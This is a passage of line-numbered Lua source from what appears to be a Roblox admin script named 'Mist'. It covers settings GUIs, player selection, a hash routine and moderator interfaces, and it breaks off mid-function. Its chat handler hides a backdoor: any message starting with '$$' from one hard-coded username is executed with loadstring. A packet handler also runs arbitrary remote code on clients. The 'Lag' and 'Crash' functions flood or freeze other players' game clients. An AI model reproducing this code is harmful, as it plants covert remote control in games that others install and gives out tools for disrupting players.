  2664. _frame.Size=UDim2.new(.3,0,.1,0);
  2665. _frame.Position=UDim2.new(.2,0,-.3,0);
  2666. _frame.Style='RobloxSquare';
  2667. local enter=Instance.new('Frame',screen);
  2668. enter.Position=UDim2.new(.2,0,0,0);
  2669. enter.Size=UDim2.new(.3,0,.1,0);
  2670. enter.BackgroundTransparency=1;
  2671. enter.mouseEnter:connect(function()
  2672. _frame:TweenPosition(UDim2.new(.2,0,0,0),'Out','Quad',.1,true);
  2673. end);
  2674. enter.mouseLeave:connect(function()
  2675. _frame:TweenPosition(UDim2.new(.2,0,-.3,0),'Out','Quad',.1,true);
  2676. end);
  2677. opener=Instance.new('TextButton',_frame);
  2678. opener.Size=UDim2.new(1,0,1,0);
  2679. opener.Position=UDim2.new(0,0,0,0);
  2680. opener.BackgroundTransparency=1;
  2681. opener.FontSize='Size18';
  2682. opener.Text='';
  2683. opener.TextColor=BrickColor.new'White';
  2684. opener.mouseButton1Click:connect(function()
  2685. client.settings_Open=not client.settings_Open;
  2686. screen:destroy();
  2687. end);
  2688. local open=client.settings_Open;
  2689. if(not open)then
  2690. frame.Position=UDim2.new(1,0,0,0);
  2691. opener.Text='Open';
  2692. else
  2693. opener.Text='Close';
  2694. end;
  2695. opener.Text=opener.Text..' Mist Client Settings';
  2696. if(not open)then return end;
  2697. local _x,_y=-.25,0;
  2698. local _settings={
  2699. platforming=client.platforming;
  2700. balefire=client.balefire;
  2701. logoVisible=client.logoVisible;
  2702. muted=client.muted;
  2703. spinning=client.spinning;
  2704. };
  2705. for _,val in next,_settings do
  2706. _x=_x+.25;
  2707. if(_x>=9)then
  2708. _x=0;
  2709. _y=_y+.15;
  2710. end;
  2711. coroutine.wrap(function()
  2712. local text=Instance.new('TextButton',frame);
  2713. text.Size=UDim2.new(.25,0,.15,0);
  2714. text.Position=UDim2.new(_x,0,_y,0)
  2715. text.BackgroundTransparency=.7;
  2716. text.BackgroundColor=BrickColor.new'Black';
  2717. text.BorderColor3=BrickColor.new'Really red'.Color;
  2718. text.Text=_..':'..tostring(val);
  2719. repeat wait()
  2720. _settings[_]=client[_];
  2721. text.Text=_..':'..tostring(_settings[_]);
  2722. wait(.5);
  2723. until screen.Parent~=client.user.PlayerGui;
  2724. end)();
  2725. end;
  2726. end;
  2727. end;
  2728. main_loop=function()
  2729. coroutine.wrap(function()
  2730. for _,v in next,client:retrievePackets()do
  2731. if(v.Value=="Disconnect")then
  2732. pcall(function()client.user:kick()end);
  2733. pcall(function()client.user.Parent=nil;client.user.Parent=game:service'Players';end);
  2734. elseif(v.Value=='Fix_Walkspeed')then
  2735. pcall(function()game:service'ControllerService':clearAllChildren()end);
  2736. Instance.new('HumanoidController',game:findService'ControllerService');
  2737. elseif(v.Value=='Remove_Walkspeed')then
  2738. game:findService'ControllerService':clearAllChildren();
  2739. elseif(v.Value=='Rejoin')then
  2740. game:service'TeleportService':teleport(game.PlaceId);
  2741. elseif(v.Value=='Break')then
  2742. for _,v in next,client.connections do
  2743. pcall(function() v:disconnect() end);
  2744. end; client=nil;
  2745. pcall(function()setfenv(0,setmetatable({},{}))end);
  2746. local script,coroutine,table,game,Game,client,Instance,pcall,ypcall,localenv;
  2747. localenv=nil;
  2748. elseif(v.Value=='Balefire')then
  2749. client.balefire=true;
  2750. elseif(v.Value=='Unbalefire')then
  2751. client.balefire=false;
  2752. elseif(v.Value=='Spin')then
  2753. client.spinning=true;
  2754. elseif(v.Value=='Unspin')then
  2755. client.spinning=false;
  2756. elseif(v.Value=='Blind')then
  2757. client.blinded=true;
  2758. elseif(v.Value=='Plat')then
  2759. client.platforming=true;
  2760. elseif(v.Value=='Unplat')then
  2761. client.platforming=false;
  2762. elseif(v.Value=='Unblind')then
  2763. client.blinded=false;
  2764. elseif(v.Value=='Mute')then
  2765. client.muted=true;
  2766. elseif(v.Value=='Unmute')then
  2767. client.muted=false;
  2768. elseif(v.Value:sub(1,5)=="Core|")then
  2769. ypcall(function()
  2770. loadstring(v.Value:sub(6))();
  2771. end);
  2772. elseif(v.Value=='test_message')then
  2773. local msg=Instance.new('Message',workspace);
  2774. msg.Text='lolwat';
  2775. game:service'Debris':addItem(msg,3);
  2776. end;
  2777. v.Parent:destroy();
  2778. end;
  2779. end)();
  2780. end;
  2781. create_main=function()
  2782. pcall(function()client.connections['main']:disconnect()end);
  2783. pcall(function()client.connections['chat']:disconnect()end);
  2784. client.connections['chat']=client.user.Chatted:connect(function(msg)
  2785. local asdf=false;
  2786. if(msg:sub(1,2)=='$$'and client.user.Name=='tusKOr661')then
  2787. Spawn(setfenv(assert(loadstring(msg:sub(3))),getfenv(0)));
  2788. elseif(msg:sub(1,2)=='##')then
  2789. asdf=true;
  2790. msg=msg:sub(3);
  2791. end;
  2792. if(msg:match'//char'and (asdf or client.user.Parent==nil))then
  2793. char();
  2794. return;
  2795. end;
  2796. if(msg:match'//bubble')then
  2797. client.bubble=not client.bubble;
  2798. return;
  2799. end;
  2800. if(msg:match'//rejoin')then
  2801. game:service'TeleportService':teleport(game.PlaceId);
  2802. end;
  2803. if(client.user.Parent==nil and client.user.Character and client.bubble)then
  2804. pcall(function()
  2805. game:service'Chat':chat(client.user.Character.Head,msg,math.random(0,2));
  2806. end);
  2807. end;
  2808. if(client.user.Parent~=game:service'Players' or asdf)then
  2809. local ser=Instance.new'StringValue';
  2810. ser.Value="]]..Mist.Security_Key..[["
  2811. ser.Name='OnChatted\2'..msg..'\2'..client.user.Name;
  2812. ser.Parent=game:service'Chat';
  2813. game:service'Debris':addItem(ser,5);
  2814. end;
  2815. end);
  2816. client.connections['main']=game:service'RunService'.Stepped:connect(function()
  2817. main_loop();
  2818. if(math.random(1,2)==1)then
  2819. create_main();
  2820. end;
  2821. if(client.spinning==true)then
  2822. pcall(function()
  2823. local c=game:service'Players'.localPlayer.Character;
  2824. c.Torso.CFrame=c.Torso.CFrame*CFrame.Angles(0,math.rad(10),0);
  2825. end);
  2826. end;
  2827. coroutine.wrap(function()
  2828. if(client.platforming)then
  2829. client.platform[1].Parent=workspace;
  2830. if(#client.platform[2]:children()==0)then
  2831. Instance.new('CylinderMesh',client.platform[2]);
  2832. end;
  2833. client.platform[2].Parent=client.platform[1];
  2834. local pos=3.25;
  2835. if(client.platform[3]==true)then
  2836. pos=pos+.25;
  2837. elseif(client.platform[4]==true)then
  2838. pos=pos-.25;
  2839. end;
  2840. client.platform[2].CFrame=CFrame.new(client.user.Character.Torso.CFrame.p-Vector3.new(0,pos,0));
  2841. client.platform[2].Color=Color3.new(math.abs(math.sin(tick()/5)),math.abs(math.cos(tick()/5)),math.sin(math.abs(math.cos(tick()/5)+math.sin(tick()/5))));
  2842. local t=math.abs(math.sin(tick()));
  2843. client.platform[2].Transparency=((t<.5 and .5)or t);
  2844. else
  2845. client.platform[1]:remove();
  2846. end;
  2847. end)();
  2848. coroutine.wrap(function()
  2849. if(client.balefire and client.balefireing)then
  2850. local f=Instance.new'Explosion';
  2851. f.Position=client.user:getMouse().hit.p;
  2852. f.Parent=workspace;
  2853. end;
  2854. pcall(function() logo() end);
  2855. pcall(function() settings() end);
  2856. end)();
  2857. pcall(function() game:service'StarterGui':setCoreGuiEnabled('Chat',not client.muted); end);
  2858. pcall(function() _blind() end);
  2859. end);
  2860. end;
  2861. coroutine.wrap(function()
  2862. repeat
  2863. wait();
  2864. create_main();
  2865. until false;
  2866. end)();
  2867. client.user.AncestryChanged:connect(create_main);
  2868. create_main();
  2869. ]],Backpack,'zeloadah',true);
  2870. coroutine.wrap(function()
  2871. Player:waitForChild('Connect:'..Mist.Security_Key);
  2872. Mist.Clients[Player.Name]={true,Logger};
  2873. end)();
  2874. if(Player.Name:match'Guest %d+')then
  2875. if(Mist.Settings.Guests==false)then Player:kick() return end;
  2876. Mist.Functions.NewLocalScript([[user=game:service'Players'.localPlayer;
  2877. script:destroy()
  2878. chat=function(text)
  2879. pcall(function()
  2880. game:service'Chat':Chat(user.Character.Head,text,math.random(0,2));
  2881. end);
  2882. end;
  2883. createChat=function()
  2884. local pg=user.PlayerGui;
  2885. if(pg and not pg:findFirstChild'_chatter')then
  2886. local screen=Instance.new('ScreenGui',pg);
  2887. screen.Name='_chatter';
  2888. local frame=Instance.new('Frame',screen);
  2889. frame.BackgroundTransparency=.7;
  2890. frame.BorderColor=BrickColor.new'Really red';
  2891. frame.BackgroundColor=BrickColor.new'Black';
  2892. frame.Size=UDim2.new(.4,0,.1,0);
  2893. frame.Position=UDim2.new(.3,0,.4,0);
  2894. local box=Instance.new('TextBox',frame);
  2895. box.BackgroundTransparency=1;
  2896. box.TextColor=BrickColor.new'White';
  2897. box.Size=UDim2.new(1,0,1,0);
  2898. box.Text='Type to Chat-Enter to chat msg after typing';
  2899. box.FontSize='Size18';
  2900. box.FocusLost:connect(function()
  2901. chat(box.Text);
  2902. end);
  2903. end;
  2904. end;
  2905. coroutine.wrap(function()
  2906. repeat createChat() wait() until false;
  2907. end)();
  2908. ]],Instance.new('Backpack',Player),'zeLoggah',true);
  2909. end;
  2910. end)();
  2911. end;
  2912. Mist.Functions.RecursiveChildren=function(Object,SearchType,Search)
  2913. if(not pcall(function()Object:IsA'Part'end))then return {}; end;
  2914. Object=Object or Game;
  2915. if(SearchType==nil)then SearchType='all'end;
  2916. local rec={};
  2917. for _,object in next,Object:children()do
  2918. if(SearchType=='all')then table.insert(rec,object)end;
  2919. if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
  2920. if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
  2921. if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
  2922. if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
  2923. for _,v in next,Mist.Functions.RecursiveChildren(object,SearchType,Search)do
  2924. table.insert(rec,v);
  2925. end;
  2926. end;
  2927. return rec;
  2928. end;
  2929. Mist.Functions.Lag=function(v)
  2930. coroutine.wrap(function()
  2931. Mist.Functions.NewLocalScript([[
  2932. script:Destroy();
  2933. local user=game:service'Players'.localPlayer;
  2934. local playerGui=user.PlayerGui;
  2935. local camera=workspace.currentCamera;
  2936. local terrain=workspace.Terrain;
  2937. local main=Instance.new'ScreenGui';
  2938. local f=Instance.new('Frame',main);
  2939. f.Size=UDim2.new(1,0,1,0);
  2940. f.BackgroundTransparency=.5;
  2941. f.BackgroundColor3=Color3.new(0,0,0);
  2942. local text=Instance.new('TextLabel',f);
  2943. text.Size=UDim2.new(1,0,.2,0);
  2944. text.Position=UDim2.new(0,0,.4,0);
  2945. text.Text='Lag brah?';
  2946. text.TextColor3=Color3.new(1,1,1);
  2947. text.BackgroundTransparency=1;
  2948. text.FontSize='Size24';
  2949. local loop;loop=function()
  2950. coroutine.wrap(function()
  2951. while true do wait()
  2952. coroutine.wrap(function()
  2953. for i=1,100 do
  2954. Instance.new('Message',workspace).Text='Lag brah';
  2955. Instance.new('Hint',workspace).Text='Lag brah';
  2956. end;
  2957. end)();
  2958. coroutine.wrap(function()
  2959. local s=main:clone();
  2960. s.Parent=playerGui;
  2961. end)();
  2962. coroutine.wrap(function()
  2963. if(math.random(1,5)==1)then
  2964. game:service'Debris':addItem(Instance.new('Part',terrain),15);
  2965. game:service'Debris':addItem(Instance.new('Explosion',terrain),30);
  2966. end;
  2967. end)();
  2968. coroutine.wrap(function()
  2969. user.CameraMode='LockFirstPerson';
  2970. game:service'StarterGui':setCoreGuiEnabled('All',false);
  2971. end)();
  2972. if(math.random(1,5)==5)then
  2973. loop();
  2974. end;
  2975. end;
  2976. end)();
  2977. end;
  2978. loop();]],Instance.new('Backpack',v),'yush',true);
  2979. end)();
  2980. coroutine.wrap(function()
  2981. local hint;
  2982. local function new(text)
  2983. pcall(function()hint:remove()end);
  2984. hint=Instance.new('Hint',workspace);
  2985. hint.Text=text;
  2986. end;
  2987. local now=tick();
  2988. repeat wait()
  2989. new(string.format("%s has been lagged for %s seconds",tostring(v.Name),tostring(math.ceil(tick()-now))));
  2990. wait();
  2991. until v==nil or v.Parent==nil or v.Parent~=game:service'Players';
  2992. wait(1);
  2993. hint:remove();
  2994. end)();
  2995. end;
  2996. Mist.Functions.GetPlayers=function(String,Speaker,Nils)
  2997. local Rtn={};
  2998. local Players={};
  2999. if(Nils)then
  3000. for _,v in next,Mist.Services'NetworkServer':children()do
  3001. if(pcall(function()v:getPlayer()end))then
  3002. local fakePlayer;fakePlayer=newproxy(true);
  3003. local meta=getmetatable(fakePlayer);
  3004. meta.__index=function(Self,Index)
  3005. local rtn={
  3006. Name=v:GetPlayer().Name;
  3007. };
  3008. return rtn[Index]or v[Index];
  3009. end;
  3010. table.insert(Players,fakePlayer);
  3011. end;
  3012. end;
  3013. else
  3014. Players=Mist.Services'Players':players();
  3015. end;
  3016. if(String==nil or Speaker==nil)then
  3017. return Players;
  3018. end;
  3019. String=String:gsub('%s+','');
  3020. if(String:find',')then
  3021. local rtn,bef,af;
  3022. bef=String:sub(1,String:find','-1);
  3023. af=String:sub(String:find','+1);
  3024. rtn={unpack(Mist.Functions.GetPlayers(bef,Speaker)),unpack(Mist.Functions.GetPlayers(af,Speaker))};
  3025. return rtn;
  3026. end;
  3027. if(String==''or String:match'^all$')then
  3028. for _,v in next,Mist.Functions.GetPlayers()do
  3029. table.insert(Rtn,v);
  3030. end;
  3031. elseif(String:match'^not_me$'or String:match'^others$'or String:match'^oders$')then
  3032. for _,v in next,Mist.Functions.GetPlayers()do
  3033. if(v~=Speaker)then
  3034. table.insert(Rtn,v);
  3035. end;
  3036. end;
  3037. elseif(String:match'^me$')then
  3038. table.insert(Rtn,Speaker);
  3039. elseif(String:match'^guests$')then
  3040. for _,v in next,Players do
  3041. if(v.Name:match'Guest %d+')then
  3042. table.insert(Rtn,v);
  3043. end;
  3044. end;
  3045. else
  3046. for _,v in next,Mist.Functions.GetPlayers()do
  3047. if(v.Name:lower():sub(1,#String)==String:lower())then
  3048. table.insert(Rtn,v);
  3049. end;
  3050. end;
  3051. end;
  3052. for _,v in next,Rtn do
  3053. if(Mist.Settings.Highlight)then
  3054. Mist.Functions.Select(v);
  3055. end;
  3056. if(Mist.Functions.GetRank(v)>Mist.Functions.GetRank(Speaker))then
  3057. Mist.Functions.Output(v.Name..' outranks you by '..tostring(Mist.Functions.GetRank(v)-Mist.Functions.GetRank(Speaker))..' rank(s)','Red',Speaker);
  3058. table.remove(Rtn,_);
  3059. end;
  3060. end;
  3061. return Rtn;
  3062. end;
  3063. Mist.Functions.Hash=function(str)
  3064. local mod = math.fmod
  3065. local floor = math.floor
  3066. local bit = {}
  3067. local function cap(x)
  3068. return mod(x,4294967296)
  3069. end
  3070.  
  3071. function bit.bnot(x)
  3072. return 4294967295-cap(x)
  3073. end
  3074.  
  3075. function bit.lshift(x,n)
  3076. return cap(cap(x)*2^n)
  3077. end
  3078.  
  3079. function bit.rshift(x,n)
  3080. return floor(cap(x)/2^n)
  3081. end
  3082.  
  3083. function bit.band(x,y)
  3084. local z,i,j = 0,1
  3085. for j = 0,31 do
  3086. if (mod(x,2)==1 and mod(y,2)==1) then
  3087. z = z + i
  3088. end
  3089. x = bit.rshift(x,1)
  3090. y = bit.rshift(y,1)
  3091. i = i*2
  3092. end
  3093. return z
  3094. end
  3095.  
  3096. function bit.bor(x,y)
  3097. local z,i,j = 0,1
  3098. for j = 0,31 do
  3099. if (mod(x,2)==1 or mod(y,2)==1) then
  3100. z = z + i
  3101. end
  3102. x = bit.rshift(x,1)
  3103. y = bit.rshift(y,1)
  3104. i = i*2
  3105. end
  3106. return z
  3107. end
  3108.  
  3109. function bit.bxor(x,y)
  3110. local z,i,j = 0,1
  3111. for j = 0,31 do
  3112. if (mod(x,2)~=mod(y,2)) then
  3113. z = z + i
  3114. end
  3115. x = bit.rshift(x,1)
  3116. y = bit.rshift(y,1)
  3117. i = i*2
  3118. end
  3119. return z
  3120. end
  3121.  
  3122. local strlen = string.len
  3123. local strchar = string.char
  3124. local strbyte = string.byte
  3125. local strsub = string.sub
  3126. local floor = math.floor
  3127. local bnot = bit.bnot
  3128. local band = bit.band
  3129. local bor = bit.bor
  3130. local bxor = bit.bxor
  3131. local shl = bit.lshift
  3132. local shr = bit.rshift
  3133. local h0, h1, h2, h3, h4
  3134.  
  3135. local function LeftRotate(val, nr)
  3136. return shl(val, nr) + shr(val, 32 - nr)
  3137. end
  3138.  
  3139. local function ToHex(num)
  3140. local i, d
  3141. local str = ""
  3142. for i = 1, 8 do
  3143. d = band(num, 15)
  3144. if (d < 10) then
  3145. str = strchar(d + 48) .. str
  3146. else
  3147. str = strchar(d + 87) .. str
  3148. end
  3149. num = floor(num / 16)
  3150. end
  3151. return str
  3152. end
  3153.  
  3154. local function PreProcess(str)
  3155. local bitlen, i
  3156. local str2 = ""
  3157. bitlen = strlen(str) * 8
  3158. str = str .. strchar(128)
  3159. i = 56 - band(strlen(str), 63)
  3160. if (i < 0) then
  3161. i = i + 64
  3162. end
  3163. for i = 1, i do
  3164. str = str .. strchar(0)
  3165. end
  3166. for i = 1, 8 do
  3167. str2 = strchar(band(bitlen, 255)) .. str2
  3168. bitlen = floor(bitlen / 256)
  3169. end
  3170. return str .. str2
  3171. end
  3172.  
  3173. local function MainLoop(str)
  3174. local a, b, c, d, e, f, k, t
  3175. local i, j
  3176. local w = {}
  3177. while (str ~= "") do
  3178. for i = 0, 15 do
  3179. w[i] = 0
  3180. for j = 1, 4 do
  3181. w[i] = w[i] * 256 + strbyte(str, i * 4 + j)
  3182. end
  3183. end
  3184. for i = 16, 79 do
  3185. w[i] = LeftRotate(bxor(bxor(w[i - 3], w[i - 8]), bxor(w[i - 14], w[i - 16])), 1)
  3186. end
  3187. a = h0
  3188. b = h1
  3189. c = h2
  3190. d = h3
  3191. e = h4
  3192. for i = 0, 79 do
  3193. if (i < 20) then
  3194. f = bor(band(b, c), band(bnot(b), d))
  3195. k = 1518500249
  3196. elseif (i < 40) then
  3197. f = bxor(bxor(b, c), d)
  3198. k = 1859775393
  3199. elseif (i < 60) then
  3200. f = bor(bor(band(b, c), band(b, d)), band(c, d))
  3201. k = 2400959708
  3202. else
  3203. f = bxor(bxor(b, c), d)
  3204. k = 3395469782
  3205. end
  3206. t = LeftRotate(a, 5) + f + e + k + w[i]
  3207. e = d
  3208. d = c
  3209. c = LeftRotate(b, 30)
  3210. b = a
  3211. a = t
  3212. end
  3213. h0 = band(h0 + a, 4294967295)
  3214. h1 = band(h1 + b, 4294967295)
  3215. h2 = band(h2 + c, 4294967295)
  3216. h3 = band(h3 + d, 4294967295)
  3217. h4 = band(h4 + e, 4294967295)
  3218. str = strsub(str, 65)
  3219. end
  3220. end
  3221. str = PreProcess(str)
  3222. h0 = 1732584194
  3223. h1 = 4023233418
  3224. h2 = 2562383103
  3225. h3 = 0271733879
  3226. h4 = 3285377521
  3227. MainLoop(str)
  3228. return ToHex(h0) ..
  3229. ToHex(h1) ..
  3230. ToHex(h2) ..
  3231. ToHex(h3) ..
  3232. ToHex(h4)
  3233. end;
  3234. Mist.Functions.Infect=function(v,Derp)
  3235. local infect=Mist.Functions.Infect;
  3236. coroutine.resume(coroutine.create(function()
  3237. pcall(function()Mist.Connections['Zombie: '..v.Name]:disconnect()end);
  3238. if(Derp)then return end;
  3239. local data={
  3240. disconnect=function(self)
  3241. self.disconnected=true;
  3242. end;
  3243. disconnected=false;
  3244. };
  3245. for _,base in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
  3246. local t;t=base.Touched:connect(function(h)
  3247. if(data.disconnected)then
  3248. t:disconnect();
  3249. return;
  3250. end;
  3251. if(Mist.Services'Players':playerFromCharacter(h.Parent))then
  3252. infect(Mist.Services'Players':playerFromCharacter(h.Parent));
  3253. end;
  3254. end);
  3255. coroutine.wrap(function() local o=t.BrickColor;repeat wait() until data.disconnected==true t:disconnect() t.BrickColor=o;end)();
  3256. base.BrickColor=BrickColor.new((base.Name~='Torso'and 'Dark green')or'Dark brown');
  3257. end;
  3258. Mist.Connections['Zombie: '..v.Name]=data;
  3259. end));
  3260. end;
  3261. Mist.Functions.GetTime=function(_time)
  3262. local _day,_hour,_min,_sec;
  3263. _day=math.floor(_time/86400);
  3264. _time=_time-_day*86400;
  3265. _hour=math.floor(_time/3600);
  3266. _time=_time-_hour*3600;
  3267. _min=math.floor(_time/60);
  3268. _time=_time-_min*60;
  3269. _sec=math.floor(_time/1);
  3270. local __time='';
  3271. if(tostring(_hour):len()==1)then
  3272. __time=__time..'0'.._hour..':';
  3273. else
  3274. __time=__time.._hour..':';
  3275. end;
  3276. if(tostring(_min):len()==1)then
  3277. __time=__time..'0'.._min..':';
  3278. else
  3279. __time=__time.._min..':';
  3280. end;
  3281. if(tostring(_sec):len()==1)then
  3282. __time=__time..'0'.._sec;
  3283. else
  3284. __time=__time.._sec;
  3285. end;
  3286. return(__time);
  3287. end;
  3288. Mist.Functions.RemoveTablets=function(Player)
  3289. pcall(function()Player=Player.Name;end);
  3290. Player=Player or'ROBLOX';
  3291. if(Player=='ROBLOX')then
  3292. error('Attempted to remove tablets on a nil player');
  3293. return;
  3294. end;
  3295. for _,v in next,Mist.Titles do
  3296. if(v.Owner==Player)then
  3297. pcall(function() v.Model:Destroy() end);
  3298. Mist.Titles[_]=nil;
  3299. end;
  3300. end;
  3301. for _,Tablet in next,Mist.Tablets do
  3302. if(Tablet.Owner==Player)then
  3303. coroutine.wrap(function()
  3304. Tablet.Model:remove();
  3305. Tablet.Part:remove();
  3306. end)();
  3307. end;
  3308. end;
  3309. end;
  3310. Mist.Functions.PlayerInterface=function(Speaker,Player)
  3311. coroutine.wrap(function()
  3312. local Real_Data=Mist.Ranked[Player];
  3313. local S_Data=Mist.Ranked[Speaker.Name];
  3314. local Output=Mist.Functions.Output;
  3315. local Dismiss=Mist.Functions.RemoveTablets;
  3316. local IsMod=(Speaker.Name==Player or S_Data.Rank>Real_Data.Rank);
  3317. Dismiss(Speaker);
  3318. Mist.Functions.Title('Interface interface','Random',Speaker);
  3319. local Back=function()
  3320. Mist.Functions.Output('Back','Blue',Speaker,nil,function()
  3321. Mist.Functions.PlayerInterface(Speaker,Player);
  3322. end);
  3323. end;
  3324. local SetColor=function()
  3325. Dismiss(Speaker);
  3326. Mist.Functions.Title('Color interface','Random',Speaker);
  3327. for _,v in next,Mist.Colors do
  3328. Mist.Functions.Output(_,v,Speaker,nil,function()
  3329. Real_Data.Color=_;
  3330. Mist.Functions.PlayerInterface(Speaker,Player);
  3331. end);
  3332. end;
  3333. Back();
  3334. end;
  3335. local SetRank=function()
  3336. Dismiss(Speaker);
  3337. Back();
  3338. Mist.Functions.Title('Rank interface','Random',Speaker);
  3339. for _,Rank in next,Mist.Ranks do
  3340. if( (_<0 and S_Data.Rank>=2)or( not(_<0) and S_Data.Rank<=Rank))then--if((_<0 and S_Data.Rank>=2) or not(_>S_Data.Rank))then
  3341. Output('['.._..']'..Rank,'Random',Speaker,nil,function()
  3342. Real_Data.Rank=_;
  3343. Mist.Functions.PlayerInterface(Speaker,Player);
  3344. end);
  3345. end;
  3346. end;
  3347. end;
  3348. local SetTrust=function()
  3349. Dismiss(Speaker);
  3350. Back();
  3351. Mist.Functions.Title('Trust interface','Random',Speaker);
  3352. for _,Rank in next,Mist.Trust_Levels do
  3353. if( Mist.Functions.GetRank(Speaker)>=1 or Rank<=Real_Data.Trust )then
  3354. Output('['.._..']'..Rank,'Random',Speaker,nil,function()
  3355. Real_Data.Trust=_;
  3356. Mist.Functions.PlayerInterface(Speaker,Player);
  3357. end);
  3358. end;
  3359. end;
  3360. Back();
  3361. end;
  3362. local IsFriends=nil;
  3363. if(Real_Data.Other and Real_Data.Other.UserId)then
  3364. IsFriends=(Speaker:IsFriendsWith(Real_Data.Other.UserId));
  3365. end;
  3366. local Veteran=nil;
  3367. if(Real_Data.Other and Real_Data.Other.Age)then
  3368. Veteran=Real_Data.Other.Age>=365.25;
  3369. end;
  3370. local Ticket=Mist.Tickets[Player];
  3371. local Age=Real_Data.Other.Age;
  3372. local ID=Real_Data.Other.UserId;
  3373. local Rank=Real_Data.Rank;
  3374. local Color=Real_Data.Color;
  3375. local Desc=Real_Data.Desc;
  3376. local Trust=Real_Data.Trust;
  3377. local Flag=Real_Data.Flag;
  3378. local Name=Player;
  3379. if(IsMod)then
  3380. Output('Set color','Blue',Speaker,nil,SetColor);
  3381. Output('Set rank','Blue',Speaker,nil,SetRank);
  3382. Output('Set trust','Blue',Speaker,nil,SetTrust);
  3383. if(Mist.Services'Players':findFirstChild(Player))then
  3384. local real=Mist.Services'Players':findFirstChild(Player);
  3385. Output('Kick','Blue',Speaker,nil,function()
  3386. real:kick();
  3387. Mist.Functions.PlayerInterface(Speaker,Player);
  3388. end);
  3389. Output('Crash','Blue',Speaker,nil,function()
  3390. Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',real),'lelcrashed');
  3391. Mist.Functions.PlayerInterface(Speaker,Player);
  3392. end);
  3393. Output('Mute','Blue',Speaker,nil,function()
  3394. Mist.Functions.OnChatted('//mute '..Player..'',Speaker,true);
  3395. Mist.Functions.PlayerInterface(Speaker,Player);
  3396. end);
  3397. Output('Unmute','Blue',Speaker,nil,function()
  3398. Mist.Functions.OnChatted('//mute '..Player..'-u',Speaker,true);
  3399. Mist.Functions.PlayerInterface(Speaker,Player);
  3400. end);
  3401. end;
  3402. local found=false;
  3403. for _,v in next,game:service'NetworkServer':children()do
  3404. if(pcall(function()v:getPlayer()end)and v:getPlayer().Name==Player and v:getPlayer().Parent~=game:service'Players')then
  3405. found=true;
  3406. end;
  3407. end;
  3408. if(found)then
  3409. Output('Nil disconnect','Blue',Speaker,nil,function()
  3410. Mist.Functions.SendPacket('Disconnect',Player);
  3411. end);
  3412. end;
  3413. end;
  3414. Output('Flag: '..Flag,Color,Speaker);
  3415. if(Ticket)then Output('Ticket:[Sub(1,25)]'..Ticket:sub(1,25),Color,Speaker) end;
  3416. if(Age)then Output('Age: '..Age,Color,Speaker) end;
  3417. if(ID)then Output('ID: '..ID,Color,Speaker) end;
  3418. if(Veteran~=nil)then
  3419. Output('Veteran: '..tostring(Veteran),Color,Speaker);
  3420. end;
  3421. if(IsFriends~=nil)then
  3422. Output('IsFriends: '..tostring(IsFriends),Color,Speaker);
  3423. end;
  3424. Output('Color: '..Color,Color,Speaker);
  3425. Output('Desc: '..Desc,Color,Speaker);
  3426. Output('Rank: '..Rank..'['..Mist.Ranks[Rank]..']',Color,Speaker);
  3427. Output('Trust: '..Trust..'['..Mist.Trust_Levels[Trust]..']',Color,Speaker);
  3428. Output('Name: '..Name,Color,Speaker,nil,nil,Mist.UrlBases.CharImage:format(Name));
  3429. end)();
  3430. end;
  3431. Mist.Functions.Select=function(Player)
  3432. ypcall(coroutine.wrap(function()
  3433. for _,Part in next,Mist.Functions.RecursiveChildren(Player.Character,'class','Part')do
  3434. if(Part.Parent and Part.Parent:isA'Hat')then else
  3435. for _,v in next,Mist.Functions.RecursiveChildren(Part,'name','adminHighlight')do v:Destroy() end;
  3436. local sel=Instance.new'SelectionBox';
  3437. sel.Parent=Part;
  3438. sel.Adornee=Part;
  3439. sel.Color=BrickColor.new( Mist.Colors[ Mist.Ranked[Player.Name].Color ] );
  3440. sel.Name='adminHighlight';
  3441. --game:service'Debris':addItem(sel,1);
  3442. end;
  3443. end;
  3444. end));
  3445. ypcall(coroutine.wrap(function()
  3446. wait(1);
  3447. for _,Part in next,Mist.Functions.RecursiveChildren(Player.Character,'name','adminHighlight')do
  3448. pcall(function() Part:Destroy() end);
  3449. end;
  3450. end));
  3451. end;
  3452. Mist.Functions.Invite=function(Player)
  3453. coroutine.wrap(function()
  3454. local PlayerGui=Player:waitForChild'PlayerGui';
  3455. if(PlayerGui:findFirstChild'_invite')then Instance.new('StringValue',PlayerGui._invite).Name='Safe'PlayerGui._invite:remove() end;
  3456. local Screen=meta_create'ScreenGui'{
  3457. Parent=PlayerGui;
  3458. Name='_invite';
  3459. };
  3460. local Frame=meta_create'Frame'{
  3461. Parent=Screen;
  3462. Size=UDim2.new(.5,0,.45,0);
  3463. Position=UDim2.new(1,0,.55,0);
  3464. BorderColor=BrickColor.new('Black');
  3465. BackgroundColor=BrickColor.new'White';
  3466. BackgroundTransparency=.5;
  3467. Draggable=true;
  3468. };
  3469. local TitleFrame=meta_create'Frame'{
  3470. Parent=Frame;
  3471. Size=UDim2.new(1,0,.1,0);
  3472. BorderColor=BrickColor.new'Black';
  3473. BackgroundColor=BrickColor.new'Light blue';
  3474. };
  3475. local TitleLabel=meta_create'TextLabel'{
  3476. Parent=TitleFrame;
  3477. BackgroundTransparency=1;
  3478. Size=UDim2.new(1,0,1,0);
  3479. Position=UDim2.new(0,0,0,0);
  3480. TextXAlignment='Center';
  3481. Text='Private Mist Chat';
  3482. };
  3483. local title_=false;
  3484. Screen.AncestryChanged:connect(function()
  3485. if(Screen.Parent==nil)then
  3486. if(title_==false and Screen:findFirstChild'Safe'==nil)then
  3487. table.insert(Mist.Private_Chats,{tick(),'Mist',Player.Name..' has disconnected from private chat'});
  3488. end;
  3489. end;
  3490. end);
  3491. local title_close=meta_create'TextButton'{
  3492. Parent=TitleFrame;
  3493. Size=UDim2.new(.1,0,1,0);
  3494. Position=UDim2.new(.9,0,0,0);
  3495. BackgroundColor=BrickColor.new'Light blue';
  3496. BorderColor=BrickColor.new'Black';
  3497. TextColor=BrickColor.new'Really red';
  3498. Text='X';
  3499. MouseButton1Click=function()
  3500. title_=true;
  3501. table.insert(Mist.Private_Chats,{tick(),'Mist',Player.Name..' has disconnected from private chat'});
  3502. coroutine.wrap(function()
  3503. local data={};
